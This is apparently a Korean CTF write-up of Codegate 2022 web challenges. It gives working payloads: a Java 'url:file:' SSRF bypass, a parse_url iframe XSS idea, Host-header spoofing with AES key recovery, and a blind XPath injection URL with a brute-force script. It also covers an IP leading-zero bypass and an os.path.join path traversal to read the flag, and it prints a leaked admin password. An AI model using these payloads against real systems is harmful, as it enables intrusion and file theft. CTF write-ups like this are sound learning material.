본선 못갔으니 대충 쓰겠다..

 

웹을 너무 빨리 풀어서 블체만 봤는데 개인적으로 블체에 대해 너무 몰라서 많이 아쉬운 감이 있었다 흑흑..

 

nft 문제는 팀원인 epist가 도와줬다(ㄳㄳ)


[Baby First]

요약

ssrf로 regex검사를 우회하여 local file을 leak한다

 

당연히 baby 붙어있길래 이거부터 봐서 그런지 퍼스트 솔브를 먹어버린 문제이다 ;;;

대충 코드 보면 class파일 내의 lookupImg 함수에서 memo의 내용 중 [] 대괄호 안에 들어가는걸 url로 받아 image를 파싱해서 img tag에 넣어준다.

 

    pattern = Pattern.compile("^[a-z]+:");
    matcher = pattern.matcher(tmp);
    if (!matcher.find() || matcher.group().startsWith("file"))
      return "";

 

이 때 java.net.URL을 사용해서 넣어주는데, 그 전에 startsWith 함수로 file: 프로토콜로 시작하는지 검사한다.

 

java.net.URL을 auditing 해보면 

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

 

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

Mirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDK

github.com

위와같이 url: 로 시작하면 start(input argument, url)를 += 4 해주는것을 볼 수 있따.

 

memo=[url:file:///flag] 해주면 풀린다

 


[ CAFE ]

요약 : xss bot에 admin password가 존재한다(언인텐), parse_url 버그(?)를 이용한다(인텐)

 

          case 'iframe':
            $src = $element->src;
            $host = parse_url($src)['host'];
            if (strpos($host, 'youtube.com') !== false){
              $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
            }
            break;

 

parse_url($src)['host']로 host 검사를 하는데, 이는 쉽게 우회가 가능하다.

 

관련된 문서로는 오랜지 형님 자료가 참 좋다.

 

찾기 귀찮으니 따로 링크는 올리지 않겠다.

 

# xss bot python code

driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

 

하튼 원래는 그런문제였지만 xss bot에 패스워드가 들어있었다.

 

웹 빠르게 다 풀고 블체까지 보고 완전히 실직한다음 인텐으로 다시 보려했지만 블록체인 한문제를 풀지못하고 그대로 대회가 끝나 보지 못했다. 대충 javascript://youtube.com/[개행][코드]로 하면 될거같다


 

[ superbee ]

 

요약 : admin/password (언인텐) AES uninitialized key+padding it, iv from key decrypt

 

 

난 솔직히 대회하면서 이문제가 왜 100점까지 털렸지라는 의문을 끝끝내 지울 수가 없었다.

 

아 그런데 대회가 끝나고보니 계정이 admin/password 였다고한다.

 

으..;

 

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8

00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

일단 auth_key를 auth_secret_key였나? 하튼 그거가지고 AES CBC Encrypt해서 admin페이지에 뿌려준다

 

host localhost로 검사하고있지만 걍 직접 nc로 붙어서 host 바꿔주니 뚝 떨어졌다.

 

func (this *AdminController) AuthKey() {
    encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
    this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

대충 코드 보면 위에서 암호화할때 쓰이는 auth_crypt_key가 선언만 되어있고 값을 불러오지 않는다.

 

func AesEncrypt(origData, key []byte) ([]byte, error) {
    padded_key := Padding(key, 16)
    block, err := aes.NewCipher(padded_key)
    if err != nil {
        return nil, err
    }
    blockSize := block.BlockSize()
    origData = Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
    crypted := make([]byte, len(origData))
    blockMode.CryptBlocks(crypted, origData)
    return crypted, nil
}

 

그러고 그걸 key size만큼 padding해주는데 그 결과는 \x10*16 이다

 

iv 또한 위의 padding으로 만들어진 key의 값에서 blocksize만큼 잘라서 쓰기 때문에 우리는 key와 iv를 모두 안다.

 

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

개같이 복호화

 

개같이 플래그

 


 

[ myblog ]

 

요약 : blind xpath injection으로 catalina.properties에 설정된 environ variable leak

 

 

 

이제 jsp 문제 나오면 일단 톰캣, jdk부터 오디팅하는 습관이 들어져버렸다

 

대충 catalina.properties에 플래그 세팅해준거 보니 System.getProperty 같은 함수가 xpath 사용할 때 내부적으로 쓸거라 생각이 들어 우리의 갓-서브라임 형님께 ctrl+shift+f로 getProperty 검색해서 reference check를 했다

 

그러다보니 뭐 SecuritySupport.java에 쓰는게 있었는데 대충 기억해놓고있다가

 

 

대충 xpath function들 이용해서 풀거같아서 그쪽 보니 system-property라고 아주 좋아보이는 놈이 있었다.

 

 

대충 위 흐름으로 호출되는거 볼 수 있는데

로컬 테스트 bingo

 

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

 

대충 blind xpath injeciton 구문 짜서 length check하고

 

 

from arang import *

s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
    for c in "0123456789abcdef}":
        url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
        r = s.get(url)
        if 'asdf' not in r.content.decode():
            flag += c
            print(f"[{len(flag)}/46] flag - {flag}")
            break

 

do exploit

 

get flag

 


[ nft ]

 

요약 : blockchain 이지만 webchall, 1day랑 python trick 이용

 

    modifier contains (string memory what, string memory where) {
        bytes memory whatBytes = bytes (what);
        bytes memory whereBytes = bytes (where);
    
        require(whereBytes.length >= whatBytes.length);
    
        bool found = false;
        for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
            bool flag = true;
            for (uint j = 0; j < whatBytes.length; j++)
                if (whereBytes [i + j] != whatBytes [j]) {
                    flag = false;
                    break;
                }
            if (flag) {
                found = true;
                break;
            }
        }
        require (!found);
    
        _;
    }

contains 함수가 좀 엉성하다

 

[requirements.txt 중]

Django==3.2.1

 

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

 

CVE-2021-33571 ≈ Packet Storm

Red Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addre

packetstormsecurity.com

 

굿

 

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

 

이제 127.00.0.1 주면 contains 우회할 수 있다

 

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'

 

        nft_file = uri.split(nft_path + '/')[-1]
        if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
            path = os.path.join(os.getcwd(), nft_path, nft_file)

            with open(path, 'rb') as f:
                return f.read()

 

os.path.join 쓸 때 세번째 인자 절대경로 주면 절대경로로 바뀌어버리는 trick이 있다

 

이거랑 엮어쓰면

 

127.00.0.1/acount/storages//home/ctf/flag.txt

 

이렇게 주면 with open(path, 'rb') as f에서 path에 /home/ctf/flag.txt가 들어가게 되고 플래그를 읽을 수 있다.

 

취약점은 찾았으나 블체 눕눕이라 실제 익스를 못해서 팀원인 epist가 대신 익스해줬다(ㄳㄳ)

 

 

+ Recent posts